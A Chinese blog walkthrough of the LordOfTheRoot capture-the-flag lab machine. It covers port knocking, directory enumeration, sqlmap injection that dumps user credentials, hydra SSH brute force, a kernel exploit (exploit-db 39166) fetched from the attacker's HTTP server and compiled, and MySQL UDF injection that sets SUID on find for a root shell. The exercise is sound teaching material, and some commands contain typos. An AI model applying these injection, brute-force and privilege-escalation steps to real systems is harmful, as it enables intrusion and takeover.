LordOfTheRoot靶机渗透笔记

2024-03-11 1,052 0

1.确定目标

用namp -sP进行扫描

查看靶机

LordOfTheRoot靶机渗透笔记插图

对网段进行深度扫描nmap -p- -sS -sV -A 192.168.80.138

-p- 扫描开放的端口号

-sS 半开连接,不进行三次握手,安全性高,使用频率高

-sV 对端口上的服务程序版本进行扫描

-A 强力扫描,耗时长

LordOfTheRoot靶机渗透笔记插图1

发现只对我们开放了22端口,连接查看一下

2.信息搜集

ssh连接

LordOfTheRoot靶机渗透笔记插图2

提示说需要对端口1,2,3各knock一次

使用knock 192.168.80.138 1 2 3 -v

LordOfTheRoot靶机渗透笔记插图3

端口碰撞

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

如何进行端口碰撞?

首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。

1)第一种方法:knock 命令
linux安装:sudo apt install knockd

使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v


2)hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1


hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1
hping3 -S 10.211.55.11 -p 3 -c 1
----------------
-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数

参考资料:https://blog.csdn.net/qq_30247635/article/details/86243448
--------------

再次对端口进行扫描

LordOfTheRoot靶机渗透笔记插图4

出现了1337端口的http服务

使用命令进行web扫描查看更多的页面信息

gobuster dir -u http://192.168.80.138:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

LordOfTheRoot靶机渗透笔记插图5

gobuster
gobuster和dirb的区别
gobuster可设置的参数更多,扫描的更快
参考:https://blog.csdn.net/qq_43511094/article/details/123650788

LordOfTheRoot靶机渗透笔记插图6

LordOfTheRoot靶机渗透笔记插图7

我们访问/404.html页面

LordOfTheRoot靶机渗透笔记插图8

查看源码

LordOfTheRoot靶机渗透笔记插图9

对源码base64加密信息进行解密得到 /978345210/index.php

访问这个网址

LordOfTheRoot靶机渗透笔记插图10

得到一个登陆页面

从功能上分析:登录账号密码需要数据库进行验证

所以这里选用sqlmap进行爆破

sqlmap

1)爆破数据库库信息

sqlmap -u "http://192.168.80.138:1337/978345210/index.php" --forms --dbs


Optimization
-o:开启所有优化开关
--predict-output:预测常见的查询输出
--keep-alive:使用持久的HTTP(S)连接
--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试


LordOfTheRoot靶机渗透笔记插图11

2)爆破数据库表信息

sqlmap -o  -u "http://192.168.80.138:1337/978345210/index.php" --forms -D Webapp --tables

LordOfTheRoot靶机渗透笔记插图12

3)爆破数据库表字段信息

sqlmap -o  -u "http://192.168.80.138:1337/978345210/index.php" --forms -D Webapp -T Users --columns
(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、--columns:列出指定表上的所有列)

LordOfTheRoot靶机渗透笔记插图13

4)爆破字段内容信息

sqlmap -o  -u "http://192.168.80.138:1337/978345210/index.php" --forms -D Webapp -T Users --columns -C id,password,username --dump
(-D dbname:指定数据库名称、-T tablename:指定某数据表名称、-C Cnmme:指定列名、--dump:导出列里面的字段)

LordOfTheRoot靶机渗透笔记插图14

LordOfTheRoot靶机渗透笔记插图15

得到账号密码,生成字典对ssh端口进行爆破

hydra -L user -P password 192.168.80.138 ssh

LordOfTheRoot靶机渗透笔记插图16

登录ssh

LordOfTheRoot靶机渗透笔记插图17

开启kali的http服务

上传文件运行文件进行版本信息服务探查

LordOfTheRoot靶机渗透笔记插图18

LordOfTheRoot靶机渗透笔记插图19

3.利用漏洞

谷歌搜索:Ubuntu 14.04 exploit https://www.exploit-db.com/exploits/39166

searchsploit 39166 locate linux/local/39166.c cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/桌面/lord

4.提权

(1)第一种:内核提权

python -m http.server 8888 wget http://192.168.80.131:8888/39166.c

gcc 39166.c -o yc chmod +x yc ./yc cd /root

(2)第二种:MySQL的UDF提权

账号密码爆破完成,进入靶机操作系统

1.先查看MySQL版本权限

dpkg -l | grep mysql --查看历史安装包版本

LordOfTheRoot靶机渗透笔记插图20

5.5.44

2.查看MySQL运行权限是不是root权限

ps aux |grep root --MySQL进程信息 

LordOfTheRoot靶机渗透笔记插图21

是root权限

3.寻找MySQL账号密码

find / -name login.*

LordOfTheRoot靶机渗透笔记插图22

发现:/var/www/978345210/login.php

使用cat命令对文件进行抓取

cat /var/www/978345210/login.php

LordOfTheRoot靶机渗透笔记插图23

得到数据库账号密码 root darkshadow

4.登录数据库

mysql -uroot -pdarkshadow

5.查看是否满足写入条件

show global variables like 'secure%';

LordOfTheRoot靶机渗透笔记插图24

发现secure_file_priv为空,可写入文件路径权限,可以使用UDF提权

5.查看插件目录

show variables like '%plugin%';

LordOfTheRoot靶机渗透笔记插图25

6.查看能不能远程登陆

use mysql;
select user,host from user;

LordOfTheRoot靶机渗透笔记插图26

只能在本地登录,不能使用mdf

7.上传文件

kali机搜索下载漏洞文件

locate lib_mysqludf_sys

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /home/kali

mv lib_mysqludf_sys_32.so yc.so

开启http服务

靶机下载漏洞文件

cd /tmp

wget http://192.168.80.131:8888/yc.so

8.创建一个表

create table yc(yc longblob);

9.插入数据文件

insert into yc values(load_file('/tmp/yc.so'));

10.新建一个函数

select*from yc into dumpfile'/use/lib/mysql/plugin/yc.so';

create funtion sys_exec returns string soname 'yc.so';

11.查看函数

elect*from mysql.func;

12.调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select sys_exec('chmod u+s /usr/bin/find');

13.退出mysql

quit

14.运行函数

find yc -exec "/bin/sh" \;
或者:find yc -exec "id" \;

LordOfTheRoot靶机渗透笔记插图27

LordOfTheRoot靶机渗透笔记插图28


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论